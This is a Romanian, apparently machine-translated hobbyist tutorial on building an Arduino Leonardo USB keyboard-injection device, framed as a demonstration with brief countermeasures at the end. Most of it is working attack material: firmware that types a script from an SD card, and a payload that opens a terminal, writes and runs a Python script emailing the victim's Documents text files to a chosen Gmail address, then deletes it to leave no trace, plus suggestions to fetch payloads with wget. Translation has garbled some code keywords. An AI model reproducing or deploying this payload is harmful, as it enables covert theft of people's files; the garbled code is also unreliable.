Demonstrația și prevenirea tastaturii Arduino (HID): 4 pași (cu imagini)

2024 Autor: John Day | [email protected]. Modificat ultima dată: 2024-01-30 11:45

În acest proiect vom folosi un arduino leonardo pentru a simula un posibil atac USB folosind HID (dispozitiv de interfață umană).

Am creat acest tutorial nu pentru a ajuta hackerii, ci pentru a vă arăta câteva pericole reale și cum să vă protejați de acele pericole. Acest dispozitiv nu este un dispozitiv care poate fi utilizat pe orice platformă pentru hackeri, este mai degrabă o dovadă a conceptului în detaliu.

Vom învăța următoarele:

- cum se utilizează arduino leonardo pentru a emula tastatura

- cum să citiți datele de pe cardurile SD

- cum să creați un script python care scanează fișierele și le trimite prin e-mail

- cum să vă protejați de dispozitivele de hacking USB

Pasul 1: Materiale

Părți:

1. Arduino leonardo

2. cititor de carduri micro USB

3. câteva SD card SD

4. buton ca acesta (VCC, masă și semnal)

5. cabluri jumper feminin-masculin și feminin-feminin

6. cablu micro USB la USB

Pasul 2: Construirea dispozitivului

Înainte de instrucțiunile de construcție, să analizăm principiul de funcționare:

Arduino Leonardo se poate comporta ca un dispozitiv de interfață umană (HID) și, prin urmare, poate emula mouse-ul și tastatura. Vom folosi această caracteristică pentru a deschide un terminal (în UBUNTU linux) și pentru a scrie un mic script care va accesa / dosarul Documente din folderul de acasă al utilizatorului copiază fișierele.txt de acolo și le trimite prin e-mail cuiva. Dacă doriți să aflați mai multe detalii, verificați pasul următor.

Deoarece este un dispozitiv demonstrativ, lucrurile sunt foarte simple, nu vom lipi nimic.

Instrucțiuni de construcție

Înainte de a începe, verificăm fișierele atașate, am atașat schemele fritzing și toate fișierele necesare

1. Asamblați componentele:

* conectați cablul micro USB la arduino

* conectați comutatorul cu cheie la arduino (masă, vcc și modul de ieșire la D8)

* conectați cititorul de carduri la arduino (folosind antetul ICSP). Arduino Leonardo nu are antetul ICSP conectat la pinii digitali, deci va trebui să conectați cititorul de carduri la antetul ICSP. Puteți găsi câteva desene ale ICSP aici: https://learn.sparkfun.com/tutorials/installing-an…. Conectați pinul SS la pinul digital 10

2. obțineți codul arduino, puteți clona depozitul meu arduino pe github: https://github.com/danionescu0/arduino și accesați projects / keyboard_exploit sau obțineți-l de mai jos:

#include „Keyboard.h”

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Cardul a eșuat sau nu este prezent!"); întoarcere; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println („Încărcat!”); întârziere (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Numele de fișier specificat nu este prezent pe cardul SD, verificați fișierulOnCard!"); } Linie de șir; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linie); sendToKeyboard (line); } dataFile.close (); } void sendToKeyboard (String line) {String WorkingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); întoarcere; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (linie); apasa Enter(); întoarcere; } Serial.println ("Comandă:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); WorkingLine + = ","; while (WorkingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (WorkingLine); int specialCommandDelimiterPosition = WorkingLine.indexOf (","); Comanda String = WorkingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (comanda! = "") {Serial.print ("Comandă găsită:"); Serial.println (comandă); Keyboard.press (getCommandCode (comandă)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); întârziere (sleepAmount); } char getCommandCode (text șir) {char textCharacters [2]; text.toCharArray (textCharacters, 2); cod char = textCaractere [0]; cod = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: cod; cod = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: cod; cod = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: cod; cod = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: cod; cod = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: cod; cod = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: cod; cod = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: cod; cod = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: cod; cod = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: cod; cod = (text == "KEY_TAB")? KEY_TAB: cod; cod = (text == "KEY_RETURN")? KEY_RETURN: cod; cod = (text == "KEY_ESC")? KEY_ESC: cod; cod = (text == "KEY_INSERT")? KEY_INSERT: cod; cod = (text == "KEY_DELETE")? KEY_DELETE: cod; cod = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: cod; cod = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: cod; cod = (text == "KEY_HOME")? KEY_HOME: cod; cod = (text == "KEY_END")? KEY_END: cod; cod = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: cod; cod = (text == "KEY_F1")? KEY_F1: cod; cod = (text == "KEY_F2")? KEY_F2: cod; cod = (text == "KEY_F3")? KEY_F3: cod; cod = (text == "KEY_F4")? KEY_F4: cod; cod = (text == "KEY_F5")? KEY_F5: cod; cod = (text == "KEY_F6")? KEY_F6: cod; cod = (text == "KEY_F7")? KEY_F7: cod; cod = (text == "KEY_F8")? KEY_F8: cod; cod = (text == "KEY_F9")? KEY_F9: cod; cod = (text == "KEY_F10")? KEY_F10: cod; cod = (text == "KEY_F11")? KEY_F1: cod; cod = (text == "KEY_F12")? KEY_F2: cod;

cod retur;

}

3. Încărcați codul pe arduino, asigurați-vă că selectați 9600 baud rate, portul serial și arduino leonardo

4. Formatați cardul SD folosind FAT16 sau FAT32

5. Dacă ați clonat repozitia github de mai sus, copiați fișierul hack.txt pe card, dacă nu fișierul este listat mai jos:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMEText import MIMEText din e-mail. Utilizează import COMMASPACE, formatează data din e-mail import Codificatori

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documente'

subject = body = 'Fișiere de pe computerul spart'

header = 'Către: {0} nDe la: {1} nSubiect: {2} n'.format (to_address, smtp_user, subject)

send sendMail (către, subiect, text, fișiere = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) pentru fișier în fișiere: parte = MIMEBase („aplicație”, „octet-stream”) part.set_payload (deschis (fișier, „rb”). Read ()) Codificatori.encode_base64 (parte) parte. add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.attach (part)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Editați următoarele linii:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Și înlocuiți cu adresele dvs. de e-mail

7. Scoateți cardul și introduceți-l în cititorul de carduri arduino

Pasul 3: Cum funcționează în detalii

Cum va funcționa atacul:

1. Când butonul este apăsat, Leonardo va citi cardul SD folosind un cititor de card SD. Un fișier special care conține taste și combinație de taste va fi prezent pe card. Numele fișierului este „hack.txt”.

Fișierul poate conține text brut și va fi trecut la tastatură așa cum este.

De asemenea, poate conține comenzi speciale precum „Sleep::” și „Command::”.

O linie de genul:

Somn:: 200 înseamnă un somn de 200 ms

O linie de genul:

Comandă:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t înseamnă ctrl stânga apăsat, alt stânga apăsat, t apăsat și toate eliberate

Puteți verifica toate cheile speciale aici:

2. Leonardo va citi rând cu rând și va interpreta comenzile și va emula tastele de pe tastatură. Fișierul „hack.txt” conține o combinație de chei care face următoarele (pentru UBUNTU linux):

A. deschide un terminal (CTRL + ALT + T)

b. deschide un fișier python pentru crearea utilizând vi (scrie „vi hack.py”

c. scrie un script python în interior, care colectează toate fișierele text din folderul principal al documentelor și le trimite la o adresă Gmail specificată

d. rulează fișierul în fundal („nohup python hack.py &”)

e. șterge fișierul (rm -rf hack.py)

f. închide terminalul (ALT + F4)

Toată treaba asta rulează în câteva secunde și nu lasă urme.

Îmbunătățiri și depanare

* Este posibil să observați că, după ce deschid un terminal, scriu fișierul python. o modalitate mai bună de a face acest lucru va fi să-l găzduiți undeva și să-l descărcați folosind comanda „wget some_url”, apoi redenumiți-l în hack.py

* De asemenea, putem descărca sau rula un exploit gata făcut pentru sistemul de operare vizat

* wifi poate fi adăugat la modul, iar hacks pot fi încărcate prin WIFI

* puteți utiliza arduino micro (care este mult mai mic) și puteți încorpora codul de exploatare pe acesta (pentru a-l micșora)

Limitări

1. Deoarece dispozitivul simulat (tastatura și mouse-ul) nu are feedback, nu știm ce se va întâmpla după emiterea unei comenzi care înseamnă că trebuie să folosim întârzieri. De exemplu, emit o comandă pentru a deschide terminalul, dar nu știu când va fi deschis, așa că trebuie să specific o întârziere arbitrară pentru a mă asigura că caracterele tastate după nu se vor pierde.

2. Este posibil să întâmpinăm probleme de permisiune precum lipsa accesului la portul USB sau permisiunea de a instala ceva

3. Viteza de tastare nu este atât de mare pe Leonardo

4. Va funcționa doar pe un sistem de operare vizat (în cazul nostru UBUNTU linux)

În pasul următor vom încerca să găsim modalități de a exploata aceste limitări pentru a împiedica piratarea computerului nostru

Pasul 4: contramăsuri

1. Dezactivarea porturilor USB

- pentru Windows puteți verifica acest tutorial:

2. Dispozitive USB pe lista albă:

- pentru Windows:

2. Blocați computerul când nu sunteți plecat

3. Nu vă conectați ca root (aveți nevoie de parole pentru a instala ceva)

4. Ține-te la curent (actualizări automate activate)